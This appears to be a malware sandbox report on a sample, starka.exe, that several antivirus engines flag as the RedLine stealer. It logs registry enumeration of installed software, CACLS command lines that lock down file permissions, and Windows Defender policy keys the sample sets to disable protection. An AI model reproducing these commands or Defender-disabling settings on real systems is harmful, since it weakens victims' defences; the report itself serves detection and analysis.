RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office IME (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office InfoPath MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OneNote MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove Setup Metadata MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x000002d4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Outlook MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Word MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office IME (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office InfoPath MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OneNote MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x0000023c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}\DisplayName	1

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	CACLS "ghaaer.exe" /P "test22:N"
cmdline	cmd /k echo Y\|CACLS "ghaaer.exe" /P "test22:N"&&CACLS "ghaaer.exe" /P "test22:R" /E&&echo Y\|CACLS "..\5975271bda" /P "test22:N"&&CACLS "..\5975271bda" /P "test22:R" /E&&Exit
cmdline	CACLS "..\5975271bda" /P "test22:R" /E
cmdline	CACLS "ghaaer.exe" /P "test22:R" /E
cmdline	CACLS "..\5975271bda" /P "test22:N"
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "ghaaer.exe" /P "test22:N"&&CACLS "ghaaer.exe" /P "test22:R" /E&&echo Y\|CACLS "..\5975271bda" /P "test22:N"&&CACLS "..\5975271bda" /P "test22:R" /E&&Exit

Disables Windows Security features (6 events)

description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection

File has been identified by 35 AntiVirus engines on VirusTotal as malicious (35 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.65331035
FireEye	Generic.mg.43878e01fb46c6ca
CAT-QuickHeal	Trojan.MSIL
ALYac	Trojan.GenericKDZ.94427
Malwarebytes	MachineLearning/Anomalous.94%
K7AntiVirus	Trojan ( 700000121 )
K7GW	Trojan ( 700000121 )
Cybereason	malicious.1fb46c
Baidu	Multi.Threats.InArchive
Cyren	W32/KillAV.KMEF-6536
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	multiple detections
Cynet	Malicious (score: 99)
APEX	Malicious
ClamAV	Win.Packed.Disabler-9987080-0
Kaspersky	VHO:Trojan.MSIL.Convagent.gen
NANO-Antivirus	Trojan.Win32.Disabler.junsud
SUPERAntiSpyware	Trojan.Agent/Gen-Downloader
DrWeb	Trojan.Siggen19.32857
VIPRE	Trojan.GenericKD.65331035
McAfee-GW-Edition	BehavesLike.Win32.Generic.dc
Trapmine	malicious.moderate.ml.score
SentinelOne	Static AI - Malicious SFX
Avira	TR/Disabler.ocayi
Antiy-AVL	Trojan[Spy]/MSIL.RedLine
Xcitium	ApplicUnwnt@#1ftfc2ja2g1dd
GData	MSIL.Trojan-Stealer.Redline.G
Google	Detected
McAfee	PWS-FDON!7E93BACBBC33
Tencent	Trojan.MSIL.Agent.hg
Yandex	Trojan.Disabler!G6z7qDxyklM
Ikarus	Trojan-Spy.RedLineStealer
Fortinet	PossibleThreat
CrowdStrike	win/malicious_confidence_70% (W)

starka.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All